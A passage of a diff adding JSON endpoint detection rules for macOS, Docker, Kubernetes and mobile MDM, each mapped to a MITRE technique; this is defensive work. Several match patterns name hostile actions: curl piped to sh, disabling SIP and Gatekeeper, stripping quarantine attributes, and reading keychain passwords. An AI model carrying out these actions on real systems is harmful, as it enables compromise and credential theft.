+ "event_type": "ES_EVENT_TYPE_NOTIFY_WRITE",
+ "path_endswith": "com.apple.backgroundtaskmanagement.plist"
+ },
+ "mitre": [
+ "T1547.015"
+ ],
+ "name": "com.apple.loginitems Modified",
+ "product": "macos",
+ "service": "endpointsecurity",
+ "severity": "medium",
+ "slug": "macos-com-apple-loginitems-modified"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-202",
+ "match_when": {
+ "event_type": "ES_EVENT_TYPE_NOTIFY_WRITE",
+ "path_endswith": ".app/Contents/MacOS/main",
+ "path_startswith": "/Users/Shared/"
+ },
+ "mitre": [
+ "T1574.002"
+ ],
+ "name": "Custom .app Bundle Written To /Users/Shared",
+ "product": "macos",
+ "service": "endpointsecurity",
+ "severity": "medium",
+ "slug": "macos-app-bundle-shared"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-203",
+ "match_when": {
+ "argv_contains": "--master-disable",
+ "event_type": "exec",
+ "process_path_endswith": "/spctl"
+ },
+ "mitre": [
+ "T1553.001"
+ ],
+ "name": "spctl --master-disable (Gatekeeper Off)",
+ "product": "macos",
+ "service": "endpointsecurity",
+ "severity": "high",
+ "slug": "macos-spctl-master-disable"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-204",
+ "match_when": {
+ "argv_contains": "disable",
+ "event_type": "exec",
+ "process_path_endswith": "/csrutil"
+ },
+ "mitre": [
+ "T1553"
+ ],
+ "name": "csrutil disable (SIP Off)",
+ "product": "macos",
+ "service": "endpointsecurity",
+ "severity": "critical",
+ "slug": "macos-csrutil-disable"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-205",
+ "match_when": {
+ "argv_contains": "boot-args=",
+ "event_type": "exec",
+ "process_path_endswith": "/nvram"
+ },
+ "mitre": [
+ "T1542.001"
+ ],
+ "name": "nvram boot-args Modified",
+ "product": "macos",
+ "service": "endpointsecurity",
+ "severity": "critical",
+ "slug": "macos-nvram-boot-args"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-206",
+ "match_when": {
+ "argv_contains_all": [
+ "-d",
+ "com.apple.quarantine"
+ ],
+ "event_type": "exec",
+ "process_path_endswith": "/xattr"
+ },
+ "mitre": [
+ "T1553.001"
+ ],
+ "name": "com.apple.quarantine xattr Stripped",
+ "product": "macos",
+ "service": "endpointsecurity",
+ "severity": "medium",
+ "slug": "macos-quarantine-attribute-removed"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-207",
+ "match_when": {
+ "event_type": "ES_EVENT_TYPE_NOTIFY_WRITE",
+ "path_endswith": "/Library/Application Support/com.apple.TCC/TCC.db"
+ },
+ "mitre": [
+ "T1562.001"
+ ],
+ "name": "TCC Database Modified Outside tccd",
+ "product": "macos",
+ "service": "endpointsecurity",
+ "severity": "high",
+ "slug": "macos-tcc-db-direct-write"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-208",
+ "match_when": {
+ "event_type": "exec",
+ "kext_signed": false,
+ "process_path_endswith": "/kextload"
+ },
+ "mitre": [
+ "T1547.006"
+ ],
+ "name": "kextload Of Unsigned Kernel Extension",
+ "product": "macos",
+ "service": "endpointsecurity",
+ "severity": "critical",
+ "slug": "macos-kextload-unsigned"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-209",
+ "match_when": {
+ "argv_contains_all": [
+ "com.apple.MRT",
+ "DisableMRTShim"
+ ],
+ "event_type": "exec",
+ "process_path_endswith": "/defaults"
+ },
+ "mitre": [
+ "T1562.001"
+ ],
+ "name": "XProtect Updates Disabled",
+ "product": "macos",
+ "service": "endpointsecurity",
+ "severity": "high",
+ "slug": "macos-xprotect-disabled"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-210",
+ "match_when": {
+ "argv_contains_any": [
+ "--setglobalstate off",
+ "--setblockall off"
+ ],
+ "event_type": "exec",
+ "process_path_endswith": "/socketfilterfw"
+ },
+ "mitre": [
+ "T1562.004"
+ ],
+ "name": "Application Firewall Disabled",
+ "product": "macos",
+ "service": "endpointsecurity",
+ "severity": "medium",
+ "slug": "macos-firewall-disabled"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-211",
+ "match_when": {
+ "event_type": "ES_EVENT_TYPE_NOTIFY_WRITE",
+ "path_endswith": "_MASReceipt/receipt"
+ },
+ "mitre": [
+ "T1562"
+ ],
+ "name": "App Store Receipt File Tampered",
+ "product": "macos",
+ "service": "endpointsecurity",
+ "severity": "medium",
+ "slug": "macos-mas-receipt-tamper"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-212",
+ "match_when": {
+ "argv_contains_all": [
+ "--force",
+ "--deep"
+ ],
+ "event_type": "exec",
+ "process_path_endswith": "/codesign"
+ },
+ "mitre": [
+ "T1553.002"
+ ],
+ "name": "codesign --force --deep Used By User",
+ "product": "macos",
+ "service": "endpointsecurity",
+ "severity": "medium",
+ "slug": "macos-codesign-force-bypass"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-213",
+ "match_when": {
+ "argv_contains": "export",
+ "event_type": "exec",
+ "process_path_endswith": "/security"
+ },
+ "mitre": [
+ "T1555.001"
+ ],
+ "name": "security export Used Against Login Keychain",
+ "product": "macos",
+ "service": "endpointsecurity",
+ "severity": "high",
+ "slug": "macos-security-export-keychain"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-214",
+ "match_when": {
+ "argv_contains": "find-generic-password",
+ "event_type": "exec",
+ "process_path_endswith": "/security"
+ },
+ "mitre": [
+ "T1555.001"
+ ],
+ "name": "security find-generic-password Used",
+ "product": "macos",
+ "service": "endpointsecurity",
+ "severity": "medium",
+ "slug": "macos-security-find-generic-password"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-215",
+ "match_when": {
+ "actor_uid_neq_owner_uid": true,
+ "event_type": "ES_EVENT_TYPE_NOTIFY_OPEN",
+ "path_endswith": "/Keychains/login.keychain-db"
+ },
+ "mitre": [
+ "T1555.001"
+ ],
+ "name": "login.keychain-db Read By Non-Owner UID",
+ "product": "macos",
+ "service": "endpointsecurity",
+ "severity": "high",
+ "slug": "macos-keychain-db-read-by-other-uid"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-216",
+ "match_when": {
+ "event_type": "exec",
+ "process_path_endswith": "/screencapture"
+ },
+ "mitre": [
+ "T1113"
+ ],
+ "name": "screencapture Binary Used",
+ "product": "macos",
+ "service": "endpointsecurity",
+ "severity": "low",
+ "slug": "macos-screencapture-binary"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-217",
+ "match_when": {
+ "argv_contains_any": [
+ "security 2>&1",
+ "find-generic-password"
+ ],
+ "event_type": "exec",
+ "process_path_endswith": "/osascript"
+ },
+ "mitre": [
+ "T1555.001"
+ ],
+ "name": "osascript Used To Read Keychain",
+ "product": "macos",
+ "service": "endpointsecurity",
+ "severity": "high",
+ "slug": "macos-osascript-keychain-access"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-218",
+ "match_when": {
+ "argv_contains_all": [
+ "write",
+ "com.apple.loginwindow"
+ ],
+ "event_type": "exec",
+ "process_path_endswith": "/defaults"
+ },
+ "mitre": [
+ "T1547.005"
+ ],
+ "name": "defaults Wrote To com.apple.loginwindow",
+ "product": "macos",
+ "service": "endpointsecurity",
+ "severity": "medium",
+ "slug": "macos-defaults-com-apple-loginwindow"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-219",
+ "match_when": {
+ "argv_contains_all": [
+ "com.apple.security",
+ "AccountSettings",
+ "Keychain"
+ ],
+ "event_type": "exec",
+ "process_path_endswith": "/defaults"
+ },
+ "mitre": [
+ "T1562"
+ ],
+ "name": "iCloud Keychain Sync Toggled Off",
+ "product": "macos",
+ "service": "endpointsecurity",
+ "severity": "medium",
+ "slug": "macos-icloud-keychain-toggle"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-220",
+ "match_when": {
+ "argv_contains": "install",
+ "event_type": "exec",
+ "process_path_endswith": "/systemextensionsctl"
+ },
+ "mitre": [
+ "T1547.006"
+ ],
+ "name": "SystemExtension Loaded From Non-Apple Bundle",
+ "product": "macos",
+ "service": "endpointsecurity",
+ "severity": "high",
+ "slug": "macos-systemextension-load-non-apple"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-221",
+ "match_when": {
+ "argv_contains": "do shell script",
+ "event_type": "exec",
+ "process_path_endswith": "/osascript"
+ },
+ "mitre": [
+ "T1059.002",
+ "T1548.004"
+ ],
+ "name": "osascript do shell script with administrator privileges",
+ "product": "macos",
+ "service": "endpointsecurity",
+ "severity": "high",
+ "slug": "macos-osascript-do-shell-script"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-222",
+ "match_when": {
+ "argv_contains_any": [
+ "/tmp/",
+ "/private/tmp/"
+ ],
+ "event_type": "exec",
+ "process_path_endswith": "/launchctl"
+ },
+ "mitre": [
+ "T1543.001"
+ ],
+ "name": "launchctl Loading Plist From /tmp",
+ "product": "macos",
+ "service": "endpointsecurity",
+ "severity": "high",
+ "slug": "macos-launchctl-load-from-tmp"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-223",
+ "match_when": {
+ "argv_contains_any": [
+ "curl | sh",
+ "curl | bash"
+ ],
+ "event_type": "exec",
+ "process_path_endswith": "/sh"
+ },
+ "mitre": [
+ "T1105"
+ ],
+ "name": "curl Output Piped To Shell",
+ "product": "macos",
+ "service": "endpointsecurity",
+ "severity": "medium",
+ "slug": "macos-curl-pipe-shell"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-224",
+ "match_when": {
+ "env_dyld_insert_libraries_startswith_any": [
+ "/tmp/",
+ "/Users/"
+ ],
+ "event_type": "exec"
+ },
+ "mitre": [
+ "T1574.006"
+ ],
+ "name": "DYLD_INSERT_LIBRARIES Set To /tmp Or User Path",
+ "product": "macos",
+ "service": "endpointsecurity",
+ "severity": "high",
+ "slug": "macos-dyld-insert-libraries"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-225",
+ "match_when": {
+ "event_type": "ES_EVENT_TYPE_NOTIFY_WRITE",
+ "path_endswith": "/Preferences/com.apple.dock.plist"
+ },
+ "mitre": [
+ "T1547.005"
+ ],
+ "name": "com.apple.dock Modified By Non-System Process",
+ "product": "macos",
+ "service": "endpointsecurity",
+ "severity": "low",
+ "slug": "macos-dock-modified"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-226",
+ "match_when": {
+ "argv_contains_all": [
+ "-setremotelogin",
+ "on"
+ ],
+ "event_type": "exec",
+ "process_path_endswith": "/systemsetup"
+ },
+ "mitre": [
+ "T1021.004"
+ ],
+ "name": "systemsetup Enabled Remote Login (SSH)",
+ "product": "macos",
+ "service": "endpointsecurity",
+ "severity": "medium",
+ "slug": "macos-systemsetup-remote-login"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-227",
+ "match_when": {
+ "event_type": "exec",
+ "process_path_contains": "/hyperkit",
+ "process_path_not_startswith_any": [
+ "/Applications/",
+ "/usr/local/bin/"
+ ]
+ },
+ "mitre": [
+ "T1610"
+ ],
+ "name": "hyperkit Launched From Non-Standard Path",
+ "product": "macos",
+ "service": "endpointsecurity",
+ "severity": "medium",
+ "slug": "macos-hyperkit-launch-untrusted"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-228",
+ "match_when": {
+ "event_type": "exec",
+ "process_path_startswith": "/Users/Shared/"
+ },
+ "mitre": [
+ "T1059.004"
+ ],
+ "name": "Mach-O Binary Executed From /Users/Shared",
+ "product": "macos",
+ "service": "endpointsecurity",
+ "severity": "medium",
+ "slug": "macos-binary-from-shared"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-229",
+ "match_when": {
+ "argv_contains_all": [
+ "reset",
+ "All"
+ ],
+ "event_type": "exec",
+ "process_path_endswith": "/tccutil"
+ },
+ "mitre": [
+ "T1562.001"
+ ],
+ "name": "tccutil reset All Subsystems",
+ "product": "macos",
+ "service": "endpointsecurity",
+ "severity": "medium",
+ "slug": "macos-tccutil-reset-all"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-230",
+ "match_when": {
+ "argv_contains_all": [
+ "com.apple.icloud",
+ "FindMyMacEnabled",
+ "0"
+ ],
+ "event_type": "exec",
+ "process_path_endswith": "/defaults"
+ },
+ "mitre": [
+ "T1562"
+ ],
+ "name": "Find My Mac Disabled",
+ "product": "macos",
+ "service": "endpointsecurity",
+ "severity": "medium",
+ "slug": "macos-find-iphone-disabled"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-231",
+ "match_when": {
+ "address_contains": "tcp://0.0.0.0",
+ "event_type": "daemon_listening"
+ },
+ "mitre": [
+ "T1610"
+ ],
+ "name": "Docker Daemon Listening On TCP Socket",
+ "product": "docker",
+ "service": "dockerd",
+ "severity": "critical",
+ "slug": "container-docker-tcp-listening"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-232",
+ "match_when": {
+ "environment": "prod",
+ "event_type": "image_pull",
+ "image_registry_in": [
+ "docker.io",
+ "ghcr.io"
+ ]
+ },
+ "mitre": [
+ "T1525"
+ ],
+ "name": "Production Container Pulled From Public Registry",
+ "product": "docker",
+ "service": "dockerd",
+ "severity": "medium",
+ "slug": "container-image-from-public-registry"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-233",
+ "match_when": {
+ "environment": "prod",
+ "event_type": "image_pull",
+ "image_tag": "latest"
+ },
+ "mitre": [
+ "T1525"
+ ],
+ "name": "Container Pulled With :latest Tag In Production",
+ "product": "docker",
+ "service": "dockerd",
+ "severity": "medium",
+ "slug": "container-image-tag-latest-prod"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-234",
+ "match_when": {
+ "environment": "prod",
+ "event_type": "container_start",
+ "user_uid": 0
+ },
+ "mitre": [
+ "T1611"
+ ],
+ "name": "Container Started As UID 0 In Production",
+ "product": "docker",
+ "service": "dockerd",
+ "severity": "medium",
+ "slug": "container-running-as-root-prod"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-235",
+ "match_when": {
+ "event_type": "container_create",
+ "host_mount_path": "/"
+ },
+ "mitre": [
+ "T1611"
+ ],
+ "name": "Container Mounted Host Root Filesystem",
+ "product": "docker",
+ "service": "dockerd",
+ "severity": "critical",
+ "slug": "container-hostpath-mount-root"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-236",
+ "match_when": {
+ "event_type": "container_create",
+ "host_mount_path_contains": "/etc"
+ },
+ "mitre": [
+ "T1611"
+ ],
+ "name": "Container Mounted /etc From Host",
+ "product": "docker",
+ "service": "dockerd",
+ "severity": "high",
+ "slug": "container-mount-etc"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-237",
+ "match_when": {
+ "environment": "prod",
+ "event_type": "container_create",
+ "readonly_root_fs": false
+ },
+ "mitre": [
+ "T1611"
+ ],
+ "name": "Container Created With ReadOnlyRootFilesystem False",
+ "product": "docker",
+ "service": "dockerd",
+ "severity": "low",
+ "slug": "container-readonly-fs-disabled"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-238",
+ "match_when": {
+ "event_type": "image_build",
+ "host_role": "production"
+ },
+ "mitre": [
+ "T1612"
+ ],
+ "name": "docker build Run On Production Host",
+ "product": "docker",
+ "service": "dockerd",
+ "severity": "medium",
+ "slug": "container-build-on-host"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-239",
+ "match_when": {
+ "event_type": "container_create",
+ "image_name_contains": "docker:dind"
+ },
+ "mitre": [
+ "T1611"
+ ],
+ "name": "Docker-In-Docker Pattern Detected",
+ "product": "docker",
+ "service": "dockerd",
+ "severity": "medium",
+ "slug": "container-dind-detected"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-240",
+ "match_when": {
+ "event_type": "create_pod",
+ "host_network": true
+ },
+ "mitre": [
+ "T1611"
+ ],
+ "name": "Pod Created With hostNetwork: true",
+ "product": "kubernetes",
+ "service": "audit",
+ "severity": "high",
+ "slug": "k8s-pod-hostnetwork-true"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-241",
+ "match_when": {
+ "event_type": "create_pod",
+ "host_pid": true
+ },
+ "mitre": [
+ "T1611"
+ ],
+ "name": "Pod Created With hostPID: true",
+ "product": "kubernetes",
+ "service": "audit",
+ "severity": "high",
+ "slug": "k8s-pod-hostpid-true"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-242",
+ "match_when": {
+ "event_type": "create_pod",
+ "host_ipc": true
+ },
+ "mitre": [
+ "T1611"
+ ],
+ "name": "Pod Created With hostIPC: true",
+ "product": "kubernetes",
+ "service": "audit",
+ "severity": "medium",
+ "slug": "k8s-pod-hostipc-true"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-243",
+ "match_when": {
+ "container_privileged": true,
+ "event_type": "create_pod"
+ },
+ "mitre": [
+ "T1611"
+ ],
+ "name": "Pod Created With privileged Security Context",
+ "product": "kubernetes",
+ "service": "audit",
+ "severity": "critical",
+ "slug": "k8s-pod-privileged"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-244",
+ "match_when": {
+ "allow_privilege_escalation": true,
+ "environment": "prod",
+ "event_type": "create_pod"
+ },
+ "mitre": [
+ "T1611"
+ ],
+ "name": "Pod Allows Privilege Escalation",
+ "product": "kubernetes",
+ "service": "audit",
+ "severity": "medium",
+ "slug": "k8s-pod-allow-priv-esc"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-245",
+ "match_when": {
+ "event_type": "create_rolebinding",
+ "role_ref_name": "cluster-admin"
+ },
+ "mitre": [
+ "T1098.003"
+ ],
+ "name": "RoleBinding Created Bound To cluster-admin ClusterRole",
+ "product": "kubernetes",
+ "service": "audit",
+ "severity": "critical",
+ "slug": "k8s-rolebinding-cluster-admin"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-246",
+ "match_when": {
+ "event_type": "create_clusterrolebinding",
+ "subject_group": "system:masters"
+ },
+ "mitre": [
+ "T1098.003"
+ ],
+ "name": "ClusterRoleBinding To system:masters",
+ "product": "kubernetes",
+ "service": "audit",
+ "severity": "critical",
+ "slug": "k8s-clusterrolebinding-system-masters"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-247",
+ "match_when": {
+ "event_type": "audit",
+ "verb": "impersonate"
+ },
+ "mitre": [
+ "T1078.004"
+ ],
+ "name": "Kubernetes Verb 'impersonate' Used",
+ "product": "kubernetes",
+ "service": "audit",
+ "severity": "high",
+ "slug": "k8s-impersonate-verb"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-248",
+ "match_when": {
+ "event_type_in": [
+ "create_mutatingwebhookconfiguration",
+ "update_mutatingwebhookconfiguration"
+ ]
+ },
+ "mitre": [
+ "T1098"
+ ],
+ "name": "MutatingWebhookConfiguration Modified",
+ "product": "kubernetes",
+ "service": "audit",
+ "severity": "high",
+ "slug": "k8s-mutating-webhook-changed"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-249",
+ "match_when": {
+ "event_type_in": [
+ "create_validatingwebhookconfiguration",
+ "update_validatingwebhookconfiguration"
+ ]
+ },
+ "mitre": [
+ "T1098"
+ ],
+ "name": "ValidatingWebhookConfiguration Modified",
+ "product": "kubernetes",
+ "service": "audit",
+ "severity": "high",
+ "slug": "k8s-validating-webhook-changed"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-250",
+ "match_when": {
+ "event_type": "label_namespace",
+ "label_key": "pod-security.kubernetes.io/enforce",
+ "label_value": "privileged"
+ },
+ "mitre": [
+ "T1562.001"
+ ],
+ "name": "Pod Security Admission Mode Disabled For Namespace",
+ "product": "kubernetes",
+ "service": "audit",
+ "severity": "high",
+ "slug": "k8s-pod-security-disabled-namespace"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-251",
+ "match_when": {
+ "event_type": "apiserver_start",
+ "flag_anonymous_auth": true
+ },
+ "mitre": [
+ "T1078.004"
+ ],
+ "name": "kube-apiserver Started With --anonymous-auth=true",
+ "product": "kubernetes",
+ "service": "apiserver",
+ "severity": "critical",
+ "slug": "k8s-anonymous-auth-enabled"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-252",
+ "match_when": {
+ "event_type": "pod_exec",
+ "namespace": "kube-system"
+ },
+ "mitre": [
+ "T1611"
+ ],
+ "name": "Exec Into Pod In kube-system Namespace",
+ "product": "kubernetes",
+ "service": "audit",
+ "severity": "high",
+ "slug": "k8s-exec-into-kube-system"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-253",
+ "match_when": {
+ "event_type": "audit",
+ "events_5min_gt": 30,
+ "resource": "secrets",
+ "verb": "get"
+ },
+ "mitre": [
+ "T1552.007"
+ ],
+ "name": "Many Secrets Read From Single Service Account",
+ "product": "kubernetes",
+ "service": "audit",
+ "severity": "high",
+ "slug": "k8s-secret-mass-read"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-254",
+ "match_when": {
+ "event_type": "delete_networkpolicy",
+ "namespace_in": [
+ "prod",
+ "production",
+ "default"
+ ]
+ },
+ "mitre": [
+ "T1562.004"
+ ],
+ "name": "NetworkPolicy Deleted In Restricted Namespace",
+ "product": "kubernetes",
+ "service": "audit",
+ "severity": "high",
+ "slug": "k8s-networkpolicy-deleted-restricted-ns"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-255",
+ "match_when": {
+ "event_type": "create_pod",
+ "image_contains_any": [
+ "xmrig",
+ "monero",
+ "minerd"
+ ]
+ },
+ "mitre": [
+ "T1496"
+ ],
+ "name": "Pod Created From Known Cryptominer Image Family",
+ "product": "kubernetes",
+ "service": "audit",
+ "severity": "critical",
+ "slug": "k8s-pod-runs-cryptominer-image"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-256",
+ "match_when": {
+ "event_type": "compliance",
+ "jailbroken": true
+ },
+ "mitre": [
+ "T1404"
+ ],
+ "name": "iOS Jailbreak Detected By MDM",
+ "product": "ios",
+ "service": "mdm",
+ "severity": "critical",
+ "slug": "mobile-ios-jailbreak-detected"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-257",
+ "match_when": {
+ "event_type": "compliance",
+ "rooted": true
+ },
+ "mitre": [
+ "T1404"
+ ],
+ "name": "Android Root Detected By MDM",
+ "product": "android",
+ "service": "mdm",
+ "severity": "critical",
+ "slug": "mobile-android-root-detected"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-258",
+ "match_when": {
+ "compliant": false,
+ "event_type": "compliance"
+ },
+ "mitre": [
+ "T1078"
+ ],
+ "name": "Device Marked Out Of MDM Compliance",
+ "product": "mdm",
+ "service": "compliance",
+ "severity": "medium",
+ "slug": "mobile-mdm-out-of-compliance"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-259",
+ "match_when": {
+ "event_type": "app_install",
+ "source_in": [
+ "unknown",
+ "sideload",
+ "adb"
+ ]
+ },
+ "mitre": [
+ "T1659"
+ ],
+ "name": "App Sideloaded Outside Of Managed Store",
+ "product": "mobile",
+ "service": "mdm",
+ "severity": "high",
+ "slug": "mobile-app-sideloaded"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-260",
+ "match_when": {
+ "event_type": "profile_remove_attempt"
+ },
+ "mitre": [
+ "T1562"
+ ],
+ "name": "MDM Profile Removal Attempted",
+ "product": "mdm",
+ "service": "compliance",
+ "severity": "critical",
+ "slug": "mobile-mdm-removal-attempt"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-261",
+ "match_when": {
+ "category": "vpn",
+ "event_type": "app_install"
+ },
+ "mitre": [
+ "T1572"
+ ],
+ "name": "VPN App Installed On Managed Device",
+ "product": "mobile",
+ "service": "mdm",
+ "severity": "medium",
+ "slug": "mobile-vpn-app-installed"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-262",
+ "match_when": {
+ "event_type": "compliance",
+ "find_device_enabled": false
+ },
+ "mitre": [
+ "T1562"
+ ],
+ "name": "Find My Device Disabled",
+ "product": "mobile",
+ "service": "mdm",
+ "severity": "high",
+ "slug": "mobile-find-device-disabled"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-263",
+ "match_when": {
+ "event_type": "compliance",
+ "screen_lock_enabled": false
+ },
+ "mitre": [
+ "T1078"
+ ],
+ "name": "Screen Lock Disabled On Managed Device",
+ "product": "mobile",
+ "service": "mdm",
+ "severity": "high",
+ "slug": "mobile-screen-lock-disabled"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-264",
+ "match_when": {
+ "event_type": "account_change",
+ "service": "icloud"
+ },
+ "mitre": [
+ "T1078"
+ ],
+ "name": "iCloud Account Changed On Managed iOS Device",
+ "product": "ios",
+ "service": "mdm",
+ "severity": "high",
+ "slug": "mobile-icloud-account-swap"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-265",
+ "match_when": {
+ "event_type": "account_change",
+ "service": "google"
+ },
+ "mitre": [
+ "T1078"
+ ],
+ "name": "Google Account Changed On Managed Android Device",
+ "product": "android",
+ "service": "mdm",
+ "severity": "high",
+ "slug": "mobile-google-account-swap"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-266",
+ "match_when": {
+ "app_signed_by_known_publisher": false,
+ "event_type": "permission_grant",
+ "permission": "ACCESSIBILITY"
+ },
+ "mitre": [
+ "T1530"
+ ],
+ "name": "Accessibility Permission Granted To Untrusted App",
+ "product": "android",
+ "service": "mdm",
+ "severity": "high",
+ "slug": "mobile-accessibility-permission-granted"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-267",
+ "match_when": {
+ "event_type": "config_change",
+ "key": "http_proxy"
+ },
+ "mitre": [
+ "T1556"
+ ],
+ "name": "Network Proxy Configured On Managed Device",
+ "product": "mobile",
+ "service": "mdm",
+ "severity": "medium",
+ "slug": "mobile-network-proxy-configured"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-268",
+ "match_when": {
+ "developer_mode": true,
+ "event_type": "compliance"
+ },
+ "mitre": [
+ "T1078"
+ ],
+ "name": "Developer Mode Enabled On Managed Device",
+ "product": "mobile",
+ "service": "mdm",
+ "severity": "medium",
+ "slug": "mobile-developer-mode-enabled"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-269",
+ "match_when": {
+ "event_type": "cert_install",
+ "trust_level": "user_trusted"
+ },
+ "mitre": [
+ "T1553.004"
+ ],
+ "name": "Untrusted Root Certificate Installed On Device",
+ "product": "mobile",
+ "service": "mdm",
+ "severity": "high",
+ "slug": "mobile-mdm-cert-untrusted"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-270",
+ "match_when": {
+ "event_type": "compliance",
+ "geofence_in_restricted_zone": true,
+ "tethering_enabled": true
+ },
+ "mitre": [
+ "T1011"
+ ],
+ "name": "Personal Hotspot Or Bluetooth Tethering Enabled In Restricted Site",
+ "product": "mobile",
+ "service": "mdm",
+ "severity": "low",
+ "slug": "mobile-bluetooth-tethering-public"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-271",
+ "match_when": {
+ "event_type": "firewall_state_change",
+ "state": "disabled"
+ },
+ "mitre": [
+ "T1562.004"
+ ],
+ "name": "Host Firewall Disabled On Managed Endpoint",
+ "product": "endpoint",
+ "service": "firewall",
+ "severity": "high",
+ "slug": "host-firewall-disabled-managed"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-272",
+ "match_when": {
+ "event_type": "interface_state",
+ "promiscuous": true
+ },
+ "mitre": [
+ "T1040"
+ ],
+ "name": "Network Interface Set To Promiscuous Mode",
+ "product": "endpoint",
+ "service": "agent",
+ "severity": "high",
+ "slug": "host-promiscuous-interface"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-273",
+ "match_when": {
+ "duplicate_macs_for_gateway": true,
+ "event_type": "arp_anomaly"
+ },
+ "mitre": [
+ "T1557.002"
+ ],
+ "name": "ARP Cache Poisoning Indicators On Host",
+ "product": "endpoint",
+ "service": "agent",
+ "severity": "high",
+ "slug": "host-arp-poison-detected"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-274",
+ "match_when": {
+ "event_type": "llmnr",
+ "self_response_for_external_query": true
+ },
+ "mitre": [
+ "T1557.001"
+ ],
+ "name": "Suspicious LLMNR Reply Pattern (Responder-Like)",
+ "product": "endpoint",
+ "service": "agent",
+ "severity": "high",
+ "slug": "host-llmnr-replies-spoofed"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-275",
+ "match_when": {
+ "event_type": "dns_query",
+ "external_resolver": true,
+ "query": "wpad.local"
+ },
+ "mitre": [
+ "T1557.002"
+ ],
+ "name": "WPAD Probe Reaching External Resolver",
+ "product": "endpoint",
+ "service": "dns",
+ "severity": "medium",
+ "slug": "host-wpad-probe"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-276",
+ "match_when": {
+ "event_type": "dhcp_offer_outbound"
+ },
+ "mitre": [
+ "T1557"
+ ],
+ "name": "Host Advertising As DHCP Server",
+ "product": "endpoint",
+ "service": "agent",
+ "severity": "critical",
+ "slug": "host-rogue-dhcp-host"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-277",
+ "match_when": {
+ "event_type": "mdns_query",
+ "query_endswith_any": [
+ ".com",
+ ".net",
+ ".io"
+ ]
+ },
+ "mitre": [
+ "T1018"
+ ],
+ "name": "mDNS Query For Non-.local Suffix",
+ "product": "endpoint",
+ "service": "dns",
